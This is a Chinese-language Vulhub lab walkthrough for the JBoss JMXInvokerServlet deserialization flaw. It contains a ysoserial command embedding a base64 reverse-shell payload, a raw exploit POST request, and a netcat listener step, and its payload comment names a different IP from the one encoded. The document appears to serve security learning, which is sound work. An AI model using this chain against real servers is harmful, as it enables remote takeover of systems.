JBoss JMXInvokerServlet 反序列化漏洞
- Vulnhub官方复现教程
- 漏洞原理
- 复现过程
- 启动环境
- 端口设置
- 浏览器设置
- BurpSuit设置
- 复现漏洞
- 序列化数据生成
- 发送POC
- EXP
Vulnhub官方复现教程
https://vulhub.org/#/environments/jboss/JMXInvokerServlet-deserialization/
漏洞原理
这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet
请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。
参考文档:
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.seebug.org/vuldb/ssvid-89723
- http://www.freebuf.com/sectool/88908.html
- https://paper.seebug.org/312/
复现过程
启动环境
https://blog.csdn.net/JiangBuLiu/article/details/93853056
进入路径为
cd /root/vulhub/jboss/JMXInvokerServlet-deserialization
搭建及运行漏洞环境:
docker-compose build && docker-compose up -d
用时:4分钟
环境启动后,访问http://your-ip:8080/
即可看到JBoss默认页面。
端口设置
浏览器设置
以火狐浏览器FireFox为例,在选项
→常规
→网络设置
→设置
,将连接
中手动代理配置
的HTTP代理
,填写127.0.0.1
,端口为8080
BurpSuit设置
在Proxy
下Options
的Proxy Listeners
编辑监听端口为8080
并将Proxy
下Intercept
点击成Intercept is on
复现漏洞
JBoss在处理/invoker/JMXInvokerServlet
请求的时候读取了对象,所以我们直接将ysoserial生成好的POC附在POST Body中发送即可。整个过程可参考jboss/CVE-2017-12149。
序列化数据生成
使用ysoserial来复现生成序列化数据,由于Vulhub使用的Java版本较新,所以选择使用的gadget是CommonsCollections5:
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser
【注意】上面POC中{}内base64的编码原内容为bash -i >& /dev/tcp/192.168.236.138/3333 0>&1
【注意注意】!!!ysoserial不要用Powershell!!!一定要用cmd!!!
发送POC
生成好的POC文件.ser,将这个文件作为POST Body发送至/invoker/JMXInvokerServlet
即可:
POST /invoker/JMXInvokerServlet HTTP/1.1
Host: 192.168.236.138:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-java-serialized-object
Content-Length: 4240
【右击选择上传文件,选中POC上传】
比如我POC中的命令是监听端口,那么就检测对应端口
nv -lvnp [端口号]
EXP
网上已经有很多EXP了,比如DeserializeExploit.jar
直接用该工具执行命令、上传文件即可: